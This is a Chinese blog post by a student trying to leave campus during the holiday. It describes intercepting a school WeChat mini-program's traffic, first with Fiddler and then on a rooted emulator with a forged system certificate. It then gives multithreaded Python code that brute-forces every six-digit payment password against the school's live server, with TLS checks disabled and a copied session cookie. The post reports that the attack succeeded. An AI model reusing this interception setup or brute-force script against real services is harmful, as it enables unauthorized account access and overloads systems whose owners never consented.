国庆被困校园想出去想疯了_被迫抓包学校微信小程序
前言:
国庆假期,一个欢乐的时间段,但对于那些出不去学校的人来说就很难受.出学校有三种方式,人脸识别,扫校园卡,扫微信小程序二维码.很不巧,鄙人三种方式全不可以,于是就只能看着室友们出去浪,只余自己独守空城.
酸过之后还是要面对现实,和辅导员沟通后得知还要等工作日才能和相关负责人联系.其中小程序二维码扫不了的原因是开通二维码需要输入消费密码,而消费密码我忘了,小程序里边也没有修改或重置消费密码的入口,刚好又发现输入消费密码进行验证这一步好像没有次数和时间限制,那我何不自己动手抓包写个微信脚本去把密码"莽"出来?
但由于自己不会用抓包软件,对我来说也是个新领域,还需要学习,写这篇博客也是为了记录一下,以后用的时候看看加深记忆,也感觉这件事挺有趣的就分享一下.
思路:
本来思路是先去bilibili大学学习抓包软件相关知识和使用方法,然后在微信pc版上运行自己学校的微信小程序,并且运行抓包软件,之后再写一个python脚本去循环生成密码,把消费密码试出来
步骤一:成功在pc端运行微信小程序
.但是等我在pc版微信上运行微信小程序时发现和手机端不同的是在进入消费密码验证的页面时不会出现虚拟键盘,而外接键盘的数据也无法键入,在此猜测是写微信小程序时没用文本框标签,而是用了微信的接口,而pc端可能是不兼容吧,所以虚拟键盘没出现.
而既然没出现虚拟键盘也就无法去输入没法,没法发送数据包,也就没法抓包,于是特意下了一个手机模拟器在模拟器上运行微信手机版,再进入验证页面虚拟键盘就成功加载出来了.
步骤二:在bilibili大学和度娘里学习抓包软件.
在学习过程中发现好几篇博客都是在讲模拟器加fiddler配合抓包,于是就准备下载一个夜神模拟器和fiddler一起按照博客上面讲的配合使用.
步骤三:下载fiddler
通过联想应用商店成功下载了fiddler4和证书生成器.
下载fiddlercertmaker.exe这个Bouncy Castle证书生成器
,看其他博客说是因为新版本的Android拒绝超过两年有效期的证书,所以要下载这个证书生成器.
双击下载好的fiddlercertmaker.exe
(确保已关闭Fiddler),会弹出提示导入证书成功这个对话框.
配置fiddler.
按照之前的思路想要抓包小程序要先配置fiddler
toos-> Options->https
勾选这些选项.
将证书导入桌面. 设置代理. 点击ok,保存设置,重启Fiddler配置生效。
配置模拟器
进入模拟器的设置.找到WiFi 长按当前链接的WiFi 出现修改网络,点击后点击高级设置. 如图所示,将代理设置为手动,然后在电脑cmd里输入ipconfig,查询本机ip,将ip填入里边.端口号设置为8888.
给模拟器安装https证书.
点击此处下载安装openssl 进入页面后下滑到如图处,下载轻量级的exe文件.
安装后在cmd里输入下列代码尝试出现下面信息就是安装成功了.
其中报错信息:
WARNING: can't open config file: /usr/local/ssl/openssl.cnf
百度了一波后发现有两种说法,一个是说 是配置文件的原因,改一下配置就好了,另一个说法是因为权限不足,以管理员权限打开cmd就好.
第二种方法试了 没什么用,但发现这个报错不影响使用,所幸就不处理了.
紧接着输入一下代码:
openssl x509 -inform DER -in C:\Users\laochenpi\Desktop\FiddlerRoot.cer -out C:\Users\laochenpi\Desktop\FiddlerRoot.pem
将之前生成在桌面的证书转化为pem证书.
接着用md5方式显示pem证书的hash值, 在cmd输入如下命令:
openssl x509 -inform PEM -subject_hash_old -in C:\Users\laochenpi\Desktop\FiddlerRoot.pem
复制代码
从上面可以看到,咱们生成Fiddler证书的hash值是e5c3944b
然后将pem证书重命名,使用上面显示的值e5c3944b
对pem证书进行重命名,以下命令仅适用于window
,linux请用mv
ren C:\Users\laochenpi\Desktop\FiddlerRoot.pem e5c3944b.0
接下来
安装证书到系统目录:
在模拟器中ctrl+4快捷键打开文件助手,点击"打开电脑文件夹".
将转换好的Fiddler证书e5c3944b.0
复制到ImageShare
目录下 之后 下载MT管理器,将下载的安装包拖拉到模拟器中安装完成,点击打开应用,左边打开Pictures目录就可以看到刚才电脑ImageShare
目录的Fiddler证书e5c3944b.0
右边点击进入到system/etc/security/cacerts
目录,然后长按左边的e5c3944b.0
文件,点击复制即可复制到右边打开的目录那里. 注意:在刚进入mt管理器的时候 系统会向你索要root权限,我点击的是永久接受.授权后直接进行复制操作会提示 该文件是只读文件,这是只需退出mt管理器重新进入,重新复制即可.
因为文件没有读的权限,所以在终端设置. 点击右上角省略号后点击打开终端.
输入以下命令将e5c3944b.0
文件设置为可读即可
chmod 777 e5c3944b.0
亦或者长按e5c3944b.0
文件,然后点击属性接着点击更改,文件权限. 将所有的权限都勾选.
接着在模拟器桌面,点击模拟器的设置
-> 安全性
-> 信任的凭据
-> 系统
,就能看到证书了.
由于在android 7.0+
系统的设备中之所以没法被抓包,是因为android 7.0之后的应用是默认只信任系统证书,不信任用户证书,所以将Fiddler证书装到系统证书目录下,伪装成系统证书,那么就不存在因为fiddler证书不被信任而无法抓包的问题了.
在上网所搜资料的时候发现还有一种更简单的安装证书的方法,如果不是android 7.0 +系统的话可以使用这种方式.
打开模拟器中的浏览器,访问 http://ip地址:代理端口号/(例如:http://192.168.12.120:8888/),点击FiddlerRootC下载证书。 ,下载完成后,点击下载箭头(或者长按)。给安装的证书命名(name无要求)
在模拟器里下载微信后登录微信小程序,在抓包软件观察是否成功抓包
老实说到这一步的时候内心挺激动的,从什么都不会到 搜集资料 自己动手尝试 一步步成功抓包,也废了不少时间.接着就是查看抓到的包的信息 然后就该尝试python模拟发送了.
接下来的思路就是写一个python脚本去向服务器不间断的发送请求,将密码试出来.
脚本思路
首先这个脚本需要生成6位数的所有可能的密码,将这些密码全部通过post请求发送到服务器去试一遍,直到服务返回信息告诉我们密码正确再停止循环.
所以我们在脚本里写三个函数,一个api_login_post发送请求,一个creatpassword1去生成密码,一个job去调用这两个函数.
生成密码
初始思路是写六个for循环镶套去实现生成密码后直接转成str类型然后传给api_login_post函数去发送请求.
for i1 in range(0, 10):
for i2 in range(0, 10):
for i3 in range(0, 10):
for i4 in range(0, 10):
for i5 in range(0, 10):
for i6 in range(0, 10):
str1=(str(i1) + str(i2) + str(i3) + str(i4) + str(i5) + str(i6) + "\n")
但是在正式运行程序时发现服务器除了对id进行验证以外,还会对session进行验证
以前也写过爬虫去爬笔趣阁玩,但都没有深入了解过爬虫,所以也不知道session到底是什么,搜集资料又是过了好久,对session有了个粗略的了解,知道这个东西是为了保持回话的连续性储存在服务器上的信息.因为我太菜了,没有什么好的办法去获取session所以只能从抓到的包里边手动将信息复制到代码里,然后去跑,这样就导致,每过一段时间session刷新发送的请求都会得到以下提示:
{'code_': 999, 'result_': False, 'message_': '未知原因,请检查开放平台权限和资源路径'}
这时候更新程序后再跑还会重新循环,所以这种生成密码的方式行不通,于是我又想到如果将生成的密码存到txt文件里,每次发送请求时去取数据,然后session更新时去更新txt,这样就可以解决之前的问题.
创建储存密码的文本
def creatpassword1():
with open("password1.txt", "a+") as i:
for i1 in range(0, 10):
for i2 in range(0, 10):
for i3 in range(0, 10):
for i4 in range(0, 10):
for i5 in range(0, 10):
for i6 in range(0, 10):
i.write(str(i1) + str(i2) + str(i3) + str(i4) + str(i5) + str(i6) + "\n")
读取密码
刚开始写这个函数的时候不知为什么死活读不出来数据,后来发现是指针的原因,可能是刚开始生成密码时将指针指向了txt的末尾,所以接下来读的时候就找不到下边的数据,因此只需将指针偏转到文档头部即可.
def readpassword1():#读密码
m=open("password1.txt", mode="a+",encoding='utf-8')
m.seek(0, os.SEEK_SET)# 将指针偏移到文档头部.
list1=m.read().split('\n')
m.close()
pas=list1.pop(0)#首行元素
str1 = ''
for i in list1:
str1 += str(i) + "\n"
m = open("password1.txt", mode="w+", encoding='utf-8')
m.write(str1)
m.close()
return pas
注:
os.SEEK_SET 定位到文件开头位置 os.SEEK_CUR 定位到文件指针当前位置 os.SEEK_END 定位到文件结束位置
发送请求
def api_login_post(password):
url="...................."
# headers定义
Cookies="SESSION=...................."
headers = {"Content-Type":"....................","Cookie":Cookies}
params={"password":password, "deviceid":"....................","gotowhere":"vcard_activate"}
# 调用post并返回响应对象
return requests.post(url,params=params,verify=False,headers=headers)
其中可能会出现 'SSL routines', 'ssl3_get_server_certificate', 'certificate verify failed'报错信息,大致是因为:请求异常,连接超过最大连接次数,最后是因为证书认证失败。 只需要给requests.post()传入 verify=False 避免ssl认证即可。
job函数
第一版的job函数是将前几个函数进行调度的函数,该函数会循环调度readpassword1()函数和api_login_post()函数,来达到循环像接口发送请求的目的.但通过计算发现这样跑起来太慢了,重复的对文本的读写和对字符的操作大大的提升了时间复杂度.所有重整思路后对读取密码这个模块进行了优化.优化思路为下:在循环外部将密码取出存在列表里,然后每次用时去除一个,当session信息更新,报错的时候更新密码表,并停止运行.
m = open("passwordjob_"+str(txt_num)+".txt", mode="a+", encoding='utf-8')
m.seek(0, os.SEEK_SET) # 将指针偏移到文档头部.
list1 = m.read().split('\n')
m.close()
flag=True
while flag:
password = list1.pop(0)
if result["message_"] != "密码错误":
print("出现异常", "第" + str(num) + "尝试:" + str(password))
pass_txt.close()
#更新密码文档
str1 = ''
for i in list1:
str1 += str(i) + "\n"
m = open("passwordjob_"+str(txt_num)+".txt", encoding='utf-8',mode="w+")
m.write(str1)
m.close()
flag = False
然后当我开始跑程序的时候发现,这样还是太慢,取需要跑将近100个小时才能跑出来,于是整理思路后对程序进行了又一次的优化.
思路是既然单个线程这么慢,我就采取多线程操作的方式去跑,将密码文件拆分为十份,分别为固定0,1,2,3...开头的密码,再创建十个线程,去跑刚才拆分完成的密码,这样就能提升效率. 说干就干,第一步将密码文件拆分为十份,也就是重新生成十份密码表.
def creatpassword1():
for i1 in range(0, 10):
with open("passwordjob_"+str(i1)+".txt", "a+") as i:
for i2 in range(0, 10):
for i3 in range(0, 10):
for i4 in range(0, 10):
for i5 in range(0, 10):
for i6 in range(0, 10):
i.write(str(i1) + str(i2) + str(i3) + str(i4) + str(i5) + str(i6) + "\n")
接着就是对之前的job函数进行一定的改造,使该函数能通过不同的参数,来读取不同的密码表.
def job_session(txt_num):#以session对象的方式登录
num=0;
flag=True
# 获取密码列表list
m = open("passwordjob_"+str(txt_num)+".txt", mode="a+", encoding='utf-8')
m.seek(0, os.SEEK_SET) # 将指针偏移到文档头部.
list1 = m.read().split('\n')
m.close()
pass_txt=open("ans_"+str(txt_num)+".txt", "a+")
#创建session对象
s = requests.Session()
s.headers.update({"Content-Type": "........",
"Cookie": "SESSION=................"})
while flag:
password = list1.pop(0)
try:
# result = api_login_post(password).json()
params = {"password": password, "deviceid": "........",
"gotowhere": "vcard_activate"}
result = s.post('........', headers={'x-test2': 'true'},params=params,verify=False,).json()
# print(result)
num+=1
if num%5000==0:
keeptouch()
pass_txt.write("第" + str(num) + "尝试:" + str(password))
pass_txt.write(str(result) + "\n")
for i in result:
if result[i] == True:
print(result[i], "密码为:" + password)
pass_txt.close()
flag = False
if result["message_"] != "密码错误":
print("出现异常", "第" + str(num) + "尝试:" + str(password))
pass_txt.close()
#更新密码文档
str1 = ''
for i in list1:
str1 += str(i) + "\n"
m = open("passwordjob_"+str(txt_num)+".txt", encoding='utf-8',mode="w+")
m.write(str1)
m.close()
flag = False
except Exception as err:
str1 = ''
for i in list1:
str1 += str(i) + "\n"
m = open("passwordjob_" + str(txt_num) + ".txt", encoding='utf-8',mode="w+")
m.write(str1)
m.close()
print("出现异常:" + err)
接着就是创建多个线程并运行了.
def job():
thread0 = threading.Thread(name='t1', target=job_session, args=(0,))
thread1 = threading.Thread(name='t2', target=job_session, args=(1,))
thread2 = threading.Thread(name='t3', target=job_session, args=(2,))
thread3 = threading.Thread(name='t4', target=job_session, args=(3,))
thread4 = threading.Thread(name='t5', target=job_session, args=(4,))
thread5 = threading.Thread(name='t6', target=job_session, args=(5,))
thread6 = threading.Thread(name='t7', target=job_session, args=(6,))
thread7 = threading.Thread(name='t8', target=job_session, args=(7,))
thread8 = threading.Thread(name='t9', target=job_session, args=(8,))
thread9 = threading.Thread(name='t10', target=job_session, args=(9,))
# 启动线程
thread0.start()
thread1.start()
thread2.start()
thread3.start()
thread4.start()
thread5.start()
thread6.start()
thread7.start()
thread8.start()
thread9.start()
job()
注:target为线程工作的函数,args为给函数传递的参数,当要传递的参数为整形时因该参数是不可迭代对象,需要将该参数改为可迭代对象类型,例如文中所示的元组类型.
成功之后:
终于,在国庆节的第八天,也就是放完假后的第一天清晨,成功的将密码跑了出来,当时是真高兴啊,这几天瞎搞一通竟然真的弄出来,放假前学校通知的常态化管理,以后能经常出校了,再也不用偷偷摸摸的溜出去了.
然而!! 就在刚刚四点的时候,导员钉钉在线会议通知我们常态化管理取消,继续封校,禁止外出!!!!! 又想起了最近七天朋友们的国庆朋友圈各种吃喝玩乐,而我自己蜗居寝室敲代码,就这样吧,不想玩了,随便了,毁灭吧.
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· C#/.NET/.NET Core优秀项目和框架2025年2月简报
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 【杭电多校比赛记录】2025“钉耙编程”中国大学生算法设计春季联赛(1)